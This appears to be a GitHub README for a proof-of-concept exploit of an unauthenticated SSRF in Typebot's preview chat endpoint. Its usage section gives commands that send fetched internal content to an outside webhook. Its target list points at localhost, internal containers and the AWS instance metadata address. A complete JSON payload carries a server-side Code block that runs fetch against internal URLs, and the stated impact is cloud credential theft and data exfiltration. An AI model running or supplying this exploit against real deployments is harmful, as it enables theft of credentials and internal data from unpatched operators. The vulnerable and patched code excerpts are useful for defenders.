portbuster1337/CVE-2026-33712

GitHub: portbuster1337/CVE-2026-33712

Stars: 0 | Forks: 0

# CVE-2026-33712 - Typebot Unauthenticated SSRF ## Description **Typebot <= 3.15.2** (fixed in 3.16.0) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the preview chat endpoint. **Endpoint:** `POST /api/v1/typebots/{typebotId}/preview/startChat` The preview endpoint accepts a user-supplied typebot definition with server-side Code blocks. The `fetch()` function exposed inside the `isolated-vm` sandbox calls Node.js native fetch **without** the `validateHttpReqUrl()` SSRF validation that protects the regular HTTP Request block. This bypasses all SSRF mitigations. ## Disclaimer This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool. ## Impact - Cloud credential theft (AWS IMDS, GCP metadata, Azure IMDS) - Internal network access to Docker containers and private subnets - Data exfiltration from internal services - SMTP_FROM / admin email disclosure via `__ENV.js` ## Files | File | Description | |------|-------------| | `exploit.py` | Main exploit script | | `endpoints.txt` | One URL per line — SSRF targets to scan | | `requirements.txt` | Python dependencies | ## Usage pip install -r requirements.txt # Single SSRF request python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid # Scan all URLs from endpoints.txt python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan # Auto-detect viewer URL from builder's __ENV.js python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan # Skip pre-flight and force execution python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force ## Arguments | Arg | Description | |-----|-------------| | `-t` / `--target` | Typebot instance URL (viewer or builder). Scheme defaults to `http://` | | `-u` / `--url` | Internal URL to fetch via SSRF (single mode) | | `-w` / `--webhook` | Webhook URL for exfiltrated data (or `WEBHOOK_URL` env var) | | `--scan` | Scan all URLs from `endpoints.txt` | | `--detect-viewer` | Probe `/__ENV.js` on target to find `NEXT_PUBLIC_VIEWER_URL` and use it | | `--force` | Skip pre-flight checks and force execution | | `--timeout` | Request timeout (default: 20s) | | `--delay` | Delay between scan requests (default: 0.3s) | ## Behaviour 1. **Auto-scheme** — if you pass `bot.example.com` without `http://`, it's prepended automatically. 2. **Pre-flight** — before any request, the script probes the target and classifies it as `vulnerable`, `patched` (auth required), or `endpoint_missing` (wrong URL/version). Exits early on failure unless `--force` is set. 3. **Scan mode** — reads `endpoints.txt`, iterates each URL, exfiltrates content to the webhook. 4. **Exfiltration** — content is sent as POST body to the webhook URL (not as query params), avoiding URL length limits. ## endpoints.txt One raw URL per line. Blank lines are ignored. No comments, no categories. http://127.0.0.1:3000/__ENV.js http://typebot-builder:3000/ http://169.254.169.254/latest/meta-data/ ## Vulnerable Code Path In `packages/variables/src/executeFunction.ts`, the `fetch()` exposed inside the `isolated-vm` sandbox originally called Node.js native fetch without SSRF validation: // VULNERABLE (<=3.15.2): globalThis.fetch = (...args) => $0.apply(undefined, args, { new Reference(async (...fetchArgs) => { const [input, init] = fetchArgs; const res = await fetch(input, init); // No validateHttpReqUrl! return res.text(); }), }); // PATCHED (>=3.16.0): globalThis.fetch = (...args) => $0.apply(undefined, args, { new Reference(async (...fetchArgs) => { const [input, init] = fetchArgs; const request = new Request(input, init); await validateHttpReqUrl(request.url); // SSRF check added validateHttpReqHeaders(headers); }), }); The fix (commit `d96f572`) also reordered checks in `getTypebot()` so auth validation runs **before** the custom typebot shortcut, and moved the viewer's preview endpoint from `procedureWithOptionalUser` to `protectedProcedure`. ## Payload Structure { "typebotId": "exploit-id", "typebot": { "version": "6", "id": "exploit-bot", "workspaceId": "test", "updatedAt": "2026-01-01T00:00:00.000Z", "groups": [ { "id": "group-1", "title": "Start", "graphCoordinates": {"x": 0, "y": 0}, "blocks": [ {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"} ] }, { "id": "group-2", "title": "SSRF", "graphCoordinates": {"x": 200, "y": 0}, "blocks": [ { "id": "block-2", "type": "Code", "outgoingEdgeId": "edge-2", "options": { "name": "SSRF", "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);", "isExecutedOnClient": false, "isUnsafe": true } } ] } ], "edges": [ {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}} ], "events": [ {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}} ], "variables": [ {"id": "var-1", "name": "result", "value": null} ], "settings": {"general": {}}, "theme": {"general": {}, "chat": {}} } } **Important:** `fetch()` inside the sandbox returns `.text()` already, so the result is a **string**, not a `Response` object.